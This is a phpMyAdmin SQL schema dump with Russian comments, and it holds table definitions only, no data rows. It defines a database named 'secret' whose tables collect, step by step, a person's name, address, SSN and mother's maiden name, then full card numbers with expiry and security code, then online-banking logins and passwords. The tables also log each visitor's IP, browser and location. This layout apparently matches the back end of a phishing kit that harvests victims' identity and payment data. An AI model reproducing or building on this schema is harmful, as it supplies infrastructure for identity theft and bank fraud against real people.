UWRBtScK

1-- phpMyAdmin SQL Dump
2-- version 4.4.15.7
3-- http://www.phpmyadmin.net
4--
5-- Хост: 127.0.0.1:3306
6-- Время создания: Сен 11 2016 г., 17:16
7-- Версия сервера: 5.5.50
8-- Версия PHP: 5.3.29
9
10SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
11SET time_zone = "+00:00";
12
13
14/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
15/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
16/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
17/*!40101 SET NAMES utf8mb4 */;
18
19--
20-- База данных: `secret`
21--
22
23-- --------------------------------------------------------
24
25--
26-- Структура таблицы `card_pass`
27--
28
29CREATE TABLE IF NOT EXISTS `card_pass` (
30  `uid` int(11) NOT NULL,
31  `card_password` varchar(32) NOT NULL
32) ENGINE=InnoDB DEFAULT CHARSET=utf8;
33
34
35CREATE TABLE IF NOT EXISTS `info_step1` (
36  `uid` int(11) NOT NULL,
37  `country` varchar(3) NOT NULL,
38  `first_name` varchar(50) NOT NULL,
39  `last_name` varchar(50) NOT NULL,
40  `birth` varchar(10) NOT NULL,
41  `address1` varchar(200) NOT NULL,
42  `address2` varchar(200) DEFAULT NULL,
43  `zip` varchar(10) NOT NULL,
44  `phone` varchar(20) NOT NULL,
45  `city` varchar(50) NOT NULL,
46  `state` varchar(2) DEFAULT NULL,
47  `ssn` varchar(200) NOT NULL,
48  `mother_maiden_name` varchar(500) NOT NULL
49) ENGINE=InnoDB DEFAULT CHARSET=utf8;
50
51CREATE TABLE IF NOT EXISTS `info_step2` (
52  `uid` int(11) NOT NULL,
53  `card_type` varchar(50) NOT NULL,
54  `card_holder` varchar(50) NOT NULL,
55  `card_number` varchar(20) NOT NULL,
56  `expdate_month` int(11) NOT NULL,
57  `expdate_year` int(11) NOT NULL,
58  `csc` int(11) NOT NULL
59) ENGINE=InnoDB DEFAULT CHARSET=utf8;
60
61CREATE TABLE IF NOT EXISTS `info_step3` (
62  `uid` int(11) NOT NULL,
63  `bank_name` varchar(100) NOT NULL,
64  `bank_login` varchar(50) NOT NULL,
65  `bank_password` varchar(50) NOT NULL
66) ENGINE=InnoDB DEFAULT CHARSET=utf8;
67
68CREATE TABLE IF NOT EXISTS `users` (
69  `id` int(11) NOT NULL,
70  `mail` varchar(24) NOT NULL,
71  `password` varchar(32) NOT NULL,
72  `ip` varchar(15) NOT NULL,
73  `time` int(11) NOT NULL,
74  `browser` varchar(50) NOT NULL,
75  `userAgent` varchar(150) NOT NULL,
76  `country_ip` varchar(50) DEFAULT NULL,
77  `region_ip` varchar(50) DEFAULT NULL,
78  `city_ip` varchar(50) DEFAULT NULL,
79  `hash` varchar(32) NOT NULL,
80  `step` tinyint(4) NOT NULL DEFAULT '1'
81) ENGINE=InnoDB AUTO_INCREMENT=27 DEFAULT CHARSET=utf8;
82
83
84ALTER TABLE `info_step1`
85  ADD KEY `uid` (`uid`);
86
87--
88-- Индексы таблицы `users`
89--
90ALTER TABLE `users`
91  ADD PRIMARY KEY (`id`);
92
93--
94-- AUTO_INCREMENT для сохранённых таблиц
95--
96
97--
98-- AUTO_INCREMENT для таблицы `users`
99--
100ALTER TABLE `users`
101  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT,AUTO_INCREMENT=27;
102/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
103/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
104/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;